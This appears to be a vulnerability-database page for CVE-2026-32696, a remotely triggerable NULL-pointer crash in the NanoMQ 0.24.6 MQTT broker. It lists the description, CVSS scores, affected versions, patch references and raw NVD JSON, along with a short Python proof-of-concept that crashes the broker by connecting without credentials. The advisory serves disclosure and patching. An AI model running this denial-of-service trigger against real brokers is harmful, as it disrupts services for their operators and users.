Security Vulnerability Report
中文
CVE-2026-32696 CVSS 3.1 LOW

CVE-2026-32696

Published: 2026-03-30 21:17:10
Last Modified: 2026-04-13 14:07:32

Description

NanoMQ MQTT Broker (NanoMQ) is an all-around Edge Messaging Platform. In NanoMQ version 0.24.6, after enabling auth.http_auth (HTTP authentication), when a client connects to the broker using MQTT CONNECT without providing username/password, and the configuration params uses the placeholders %u / %P (e.g., username="%u", password="%P"), the HTTP request construction phase enters auth_http.c:set_data(). This results in calling strlen() on a NULL pointer, causing a SIGSEGV crash. This crash can be triggered remotely, resulting in a denial of service. This issue has been patched in version 0.24.7.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:emqx:nanomq:*:*:*:*:*:*:*:* - VULNERABLE
NanoMQ 0.24.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import paho.mqtt.client as mqtt import sys # Target configuration TARGET_IP = "127.0.0.1" # Replace with the target NanoMQ IP TARGET_PORT = 1883 # Replace with the target port def on_connect(client, userdata, flags, rc): print(f"Connected with result code {rc}") def main(): # Create an MQTT client instance # Note: Connecting without providing username and password client = mqtt.Client(client_id="PoC_CVE_2026_32696") client.on_connect = on_connect try: print(f"[+] Attempting to connect to {TARGET_IP}:{TARGET_PORT} without credentials...") # This connect call lacks username and password, triggering the NULL pointer client.connect(TARGET_IP, TARGET_PORT, 60) client.loop_forever() except Exception as e: print(f"[-] Exception occurred: {e}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32696", "sourceIdentifier": "[email protected]", "published": "2026-03-30T21:17:09.603", "lastModified": "2026-04-13T14:07:31.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NanoMQ MQTT Broker (NanoMQ) is an all-around Edge Messaging Platform. In NanoMQ version 0.24.6, after enabling auth.http_auth (HTTP authentication), when a client connects to the broker using MQTT CONNECT without providing username/password, and the configuration params uses the placeholders %u / %P (e.g., username=\"%u\", password=\"%P\"), the HTTP request construction phase enters auth_http.c:set_data(). This results in calling strlen() on a NULL pointer, causing a SIGSEGV crash. This crash can be triggered remotely, resulting in a denial of service. This issue has been patched in version 0.24.7."}, {"lang": "es", "value": "NanoMQ MQTT Broker (NanoMQ) es una plataforma de mensajería Edge integral. En la versión 0.24.6 de NanoMQ, después de habilitar auth.http_auth (autenticación HTTP), cuando un cliente se conecta al broker usando MQTT CONNECT sin proporcionar nombre de usuario/contraseña, y los parámetros de configuración usan los marcadores de posición %u / %P (por ejemplo, username='%u', password='%P'), la fase de construcción de la solicitud HTTP entra en auth_http.c:set_data(). Esto resulta en la llamada a strlen() sobre un puntero NULL, causando un fallo SIGSEGV. Este fallo puede ser activado remotamente, resultando en una denegación de servicio. Este problema ha sido parcheado en la versión 0.24.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emqx:nanomq:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.24.7", "matchCriteriaId": "2EB20A7D-1CAC-4435-809D-E28F44298077"}]}]}], "references": [{"url": "https://github.com/nanomq/NanoNNG/commit/c20aa27e5290bb480a5315099952480d35f37a8b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nanomq/NanoNNG/pull/1394", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nanomq/nanomq/releases/tag/0.24.7", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/nanomq/nanomq/security/advisories/GHSA-77f4-wvq8-mp3p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}